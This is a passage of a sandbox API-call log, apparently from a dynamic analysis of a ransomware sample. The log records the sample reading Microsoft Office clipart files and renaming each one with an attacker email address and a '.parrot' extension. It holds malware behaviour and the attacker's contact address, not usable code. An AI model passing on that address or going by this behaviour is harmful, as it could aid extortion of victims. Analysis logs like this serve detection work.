SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.944] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.945] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.946] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x59ec, lpOverlapped=0x0) returned 1 [0151.947] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.950] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.950] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.950] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.952] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.952] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.954] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.954] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb6c, lpOverlapped=0x0) returned 1 [0151.954] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.960] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.960] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.975] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.975] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xac8, lpOverlapped=0x0) returned 1 [0151.975] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.980] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.980] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.984] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.984] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfc0, lpOverlapped=0x0) returned 1 [0151.984] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0151.988] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.988] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.990] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.990] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b08, lpOverlapped=0x0) returned 1 [0151.990] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.992] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.994] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.994] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.995] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.995] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2bb8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2bb8, lpOverlapped=0x0) returned 1 [0151.996] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.003] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.003] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.004] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.004] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e58, lpOverlapped=0x0) returned 1 [0152.007] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.018] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.018] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.020] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.020] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaa4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaa4, lpOverlapped=0x0) returned 1 [0152.020] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0152.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.023] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.051] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.052] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1724, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1724, lpOverlapped=0x0) returned 1 [0152.052] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.057] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.060] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.063] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.063] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2602, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2602, lpOverlapped=0x0) returned 1 [0152.064] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.068] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.068] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.069] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.069] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6260, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6260, lpOverlapped=0x0) returned 1 [0152.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.073] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.073] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.075] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.075] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9c80, lpOverlapped=0x0) returned 1 [0152.077] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0152.080] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.080] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.082] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.082] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfe6, lpOverlapped=0x0) returned 1 [0152.082] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.088] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.088] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.090] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.090] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5006, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5006, lpOverlapped=0x0) returned 1 [0152.093] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.185] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.185] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.187] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1aba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1aba, lpOverlapped=0x0) returned 1 [0152.188] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.190] MoveFileExW (lpExistingFileName="C:\\Program 